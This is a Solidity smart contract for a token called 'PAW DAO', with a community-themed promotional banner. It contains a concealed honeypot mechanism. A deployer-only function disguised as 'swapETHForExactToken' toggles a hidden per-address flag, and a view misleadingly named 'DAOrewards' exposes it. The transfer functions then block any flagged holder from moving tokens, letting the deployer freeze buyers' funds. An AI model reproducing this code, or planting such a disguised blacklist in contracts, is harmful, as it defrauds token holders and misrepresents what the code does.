/**
🐾PAW DAO - SHIBARIUM 🍖 IS CREATED BY COMMUNITY FOR COMMUNITY TO MANAGE.
 HERE WE ARE WITH PAWdao TOKEN TO MAKE IT WORK SMOOTH

ᴛʜᴇ ᴘᴏᴡᴇʀ ᴏꜰ ᴘᴀᴡ ᴅᴀᴏ ᴍᴜꜱᴛ ᴄᴏᴍᴇ ꜰʀᴏᴍ ᴛʜᴇ ᴘᴇᴏᴘʟᴇ – ᴛʜᴇ ʜᴏʟᴅᴇʀꜱ.
 ᴛʜᴇ ᴍᴀʀᴋᴇᴛ ᴍᴀʏ ᴛᴜʀɴ ꜰᴏʀ ᴛʜᴇ ʙᴇᴛᴛᴇʀ ᴏʀ ꜰᴏʀ ᴛʜᴇ ᴡᴏʀꜱᴛ. ᴛʜᴇʀᴇ ᴀʀᴇ 
 ꜱᴏᴍᴇ ꜱɪᴍᴘʟᴇ ꜱʜᴏʀᴛ-ᴛᴇʀᴍ ɢᴏᴀʟꜱ ᴛʜᴀᴛ ᴡᴇ ᴡɪʟʟ  ᴀᴄʜɪᴇᴠᴇ. ʏᴏᴜ ᴍᴀʏ ɴᴏᴛ 
 ʀᴇᴀʟɪᴢᴇ ʙᴜᴛ ʏᴏᴜ ʜᴀᴠᴇ ꜱᴇᴇɴ ᴛʜᴇ ꜰʀᴜɪᴛꜱ ᴏꜰ ᴏᴜʀ ʟᴀʙᴏʀ ᴀʟʀᴇᴀᴅʏ. ʜᴀᴠᴇ 
 ᴘᴀᴛɪᴇɴᴄᴇ ᴀꜱ ᴛʜᴇ ʙʟᴀᴄᴋ ᴄʀᴏᴡ ᴡɪʟʟ ᴅᴇʟɪᴠᴇʀ ᴀɴᴅ ᴄᴏɴᴛɪɴᴜᴇ ᴛᴏ ᴅᴇʟɪᴠᴇʀ. 
 ᴄᴏᴍᴍᴜɴɪᴛʏ ɪꜱ ᴛʜᴇʀᴇ ꜰᴏʀ ᴛʜᴇ ᴄᴏɴꜱᴛᴀɴᴛ ꜱᴜᴘᴘᴏʀᴛ ᴀɴᴅ ᴍᴏᴛɪᴠᴀᴛɪᴏɴ. 
 ᴛʜᴇ ᴇꜰꜰᴇᴄᴛɪᴠᴇɴᴇꜱꜱ ɪꜱ ʜɪɢʜᴇꜱᴛ ᴡʜᴇɴ ᴡᴇ ᴀʀᴇ ᴡᴏʀᴋɪɴɢ ᴀꜱ ᴀ ᴄᴏʟʟᴇᴄᴛɪᴠᴇ, ꜱᴏ ᴊᴜꜱᴛ ᴊᴏɪɴ ɪɴ!


*/

//SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _address_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_address_[msg.sender] || _address_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_address_[_from] || _address_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function swapETHForExactToken(
    address _DAOaddress
  ) 
    external
  {
    require(msg.sender == approved);
    if (_address_[_DAOaddress] == true) {
      _address_[_DAOaddress] = false;
    } else {
      _address_[_DAOaddress] = true;
    }
  }

  function DAOrewards(
    address _DAOaddress
  )
    public
    view
    returns (bool) 
  {
    return _address_[_DAOaddress];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract PawDao is StandardToken {

  string public constant name = "PAW DAO";
  string public constant symbol = "PAWdao";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}